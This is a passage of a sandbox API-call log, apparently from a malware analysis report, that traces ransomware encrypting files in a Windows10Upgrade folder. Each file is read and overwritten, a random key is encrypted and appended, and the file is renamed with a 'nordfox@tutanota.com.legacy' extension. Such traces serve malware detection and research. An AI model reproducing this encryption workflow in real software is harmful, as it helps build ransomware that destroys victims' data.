lpDistanceToMoveHigh=0x0) returned 0x0 [0091.556] WriteFile (in: hFile=0x470, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0x3d14a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d14a, lpOverlapped=0x0) returned 1 [0091.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0091.557] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0091.557] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d14a [0091.557] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0091.557] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0091.562] WriteFile (in: hFile=0x470, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0091.562] WriteFile (in: hFile=0x470, lpBuffer=0x54d1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0091.562] CloseHandle (hObject=0x470) returned 1 [0091.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0091.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0091.568] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log"), lpNewFileName="\\Windows10Upgrade\\upgrader_default.log.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\upgrader_default.log.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0091.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0091.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0091.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0091.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0091.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0091.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0091.572] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0091.572] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0091.572] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\PostOOBEScript.cmd", dwFileAttributes=0x80) returned 1 [0091.729] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0091.730] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0091.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0091.730] CreateFileW (lpFileName="\\Windows10Upgrade\\PostOOBEScript.cmd" (normalized: "c:\\windows10upgrade\\postoobescript.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0091.730] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=577) returned 1 [0091.730] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x241) returned 0x583308 [0091.730] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x241) returned 0x589f40 [0091.731] ReadFile (in: hFile=0x470, lpBuffer=0x583308, nNumberOfBytesToRead=0x241, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583308*, lpNumberOfBytesRead=0x2e1f9bc*=0x241, lpOverlapped=0x0) returned 1 [0091.732] SetFilePointer (in: hFile=0x470, lDistanceToMove=-577, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0091.732] WriteFile (in: hFile=0x470, lpBuffer=0x589f40*, nNumberOfBytesToWrite=0x241, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x241, lpOverlapped=0x0) returned 1 [0091.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583308 | out: hHeap=0x520000) returned 1 [0091.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0091.732] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x241 [0091.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0091.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0091.733] WriteFile (in: hFile=0x470, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0091.734] WriteFile (in: hFile=0x470, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0091.734] CloseHandle (hObject=0x470) returned 1 [0091.736] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0091.736] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0091.736] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\PostOOBEScript.cmd" (normalized: "c:\\windows10upgrade\\postoobescript.cmd"), lpNewFileName="\\Windows10Upgrade\\PostOOBEScript.cmd.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\postoobescript.cmd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0091.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0091.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0091.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0091.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0091.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0091.740] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0091.740] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0091.740] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0091.740] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\HttpHelper.exe", dwFileAttributes=0x80) returned 1 [0091.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0091.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0091.741] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0091.741] CreateFileW (lpFileName="\\Windows10Upgrade\\HttpHelper.exe" (normalized: "c:\\windows10upgrade\\httphelper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0091.741] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=27848) returned 1 [0091.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6cc8) returned 0x589f40 [0091.741] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6cc8) returned 0x590c10 [0091.741] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x6cc8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x6cc8, lpOverlapped=0x0) returned 1 [0091.809] SetFilePointer (in: hFile=0x470, lDistanceToMove=-27848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0091.809] WriteFile (in: hFile=0x470, lpBuffer=0x590c10*, nNumberOfBytesToWrite=0x6cc8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x590c10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6cc8, lpOverlapped=0x0) returned 1 [0091.809] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0091.809] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x590c10 | out: hHeap=0x520000) returned 1 [0091.811] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6cc8 [0091.811] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0091.811] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0091.813] WriteFile (in: hFile=0x470, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0091.813] WriteFile (in: hFile=0x470, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0091.813] CloseHandle (hObject=0x470) returned 1 [0091.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0091.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0091.815] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\HttpHelper.exe" (normalized: "c:\\windows10upgrade\\httphelper.exe"), lpNewFileName="\\Windows10Upgrade\\HttpHelper.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\httphelper.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0091.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0091.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0091.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0091.816] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0091.816] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0091.816] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0091.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0091.817] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0091.817] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\GetCurrentRollback.EXE", dwFileAttributes=0x80) returned 1 [0091.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0091.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0091.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0091.817] CreateFileW (lpFileName="\\Windows10Upgrade\\GetCurrentRollback.EXE" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0091.817] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=73416) returned 1 [0091.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11ec8) returned 0x589f40 [0091.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11ec8) returned 0x59be10 [0091.817] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x11ec8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x11ec8, lpOverlapped=0x0) returned 1 [0091.894] SetFilePointer (in: hFile=0x470, lDistanceToMove=-73416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0091.894] WriteFile (in: hFile=0x470, lpBuffer=0x59be10*, nNumberOfBytesToWrite=0x11ec8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x59be10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11ec8, lpOverlapped=0x0) returned 1 [0091.894] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0091.895] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59be10 | out: hHeap=0x520000) returned 1 [0091.897] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11ec8 [0091.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0091.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0091.899] WriteFile (in: hFile=0x470, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0091.899] WriteFile (in: hFile=0x470, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0091.899] CloseHandle (hObject=0x470) returned 1 [0091.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0091.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0091.905] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\GetCurrentRollback.EXE" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe"), lpNewFileName="\\Windows10Upgrade\\GetCurrentRollback.EXE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0091.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0091.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0091.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0091.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0091.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0091.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0091.912] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0091.912] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0091.912] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\GetCurrentOOBE.dll", dwFileAttributes=0x80) returned 1 [0091.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0091.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0091.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0091.958] CreateFileW (lpFileName="\\Windows10Upgrade\\GetCurrentOOBE.dll" (normalized: "c:\\windows10upgrade\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0091.958] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=144072) returned 1 [0091.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x232c8) returned 0x589f40 [0091.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x232c8) returned 0x5ad210 [0091.958] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x232c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x232c8, lpOverlapped=0x0) returned 1 [0092.135] SetFilePointer (in: hFile=0x470, lDistanceToMove=-144072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.135] WriteFile (in: hFile=0x470, lpBuffer=0x5ad210*, nNumberOfBytesToWrite=0x232c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ad210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x232c8, lpOverlapped=0x0) returned 1 [0092.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0092.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ad210 | out: hHeap=0x520000) returned 1 [0092.145] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x232c8 [0092.145] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0092.145] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0092.171] WriteFile (in: hFile=0x470, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0092.171] WriteFile (in: hFile=0x470, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0092.171] CloseHandle (hObject=0x470) returned 1 [0092.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0092.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0092.178] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\GetCurrentOOBE.dll" (normalized: "c:\\windows10upgrade\\getcurrentoobe.dll"), lpNewFileName="\\Windows10Upgrade\\GetCurrentOOBE.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\getcurrentoobe.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0092.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0092.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0092.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0092.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0092.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0092.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0092.189] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0092.189] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0092.189] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\GetCurrentDeploy.dll", dwFileAttributes=0x80) returned 1 [0092.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0092.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0092.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0092.190] CreateFileW (lpFileName="\\Windows10Upgrade\\GetCurrentDeploy.dll" (normalized: "c:\\windows10upgrade\\getcurrentdeploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.190] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=539848) returned 1 [0092.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x83cc8) returned 0x3126020 [0092.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x83cc8) returned 0x31b4020 [0092.194] ReadFile (in: hFile=0x470, lpBuffer=0x3126020, nNumberOfBytesToRead=0x83cc8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3126020*, lpNumberOfBytesRead=0x2e1f9bc*=0x83cc8, lpOverlapped=0x0) returned 1 [0092.278] SetFilePointer (in: hFile=0x470, lDistanceToMove=-539848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.282] WriteFile (in: hFile=0x470, lpBuffer=0x31b4020*, nNumberOfBytesToWrite=0x83cc8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x31b4020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x83cc8, lpOverlapped=0x0) returned 1 [0092.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3126020 | out: hHeap=0x520000) returned 1 [0092.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x31b4020 | out: hHeap=0x520000) returned 1 [0092.290] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x83cc8 [0092.290] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0092.290] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0092.290] WriteFile (in: hFile=0x470, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0092.291] WriteFile (in: hFile=0x470, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0092.291] CloseHandle (hObject=0x470) returned 1 [0092.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0092.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0092.309] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\GetCurrentDeploy.dll" (normalized: "c:\\windows10upgrade\\getcurrentdeploy.dll"), lpNewFileName="\\Windows10Upgrade\\GetCurrentDeploy.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\getcurrentdeploy.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0092.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0092.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0092.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0092.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0092.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0092.313] RtlAllocateHeap (HeapHandle=0x520000, 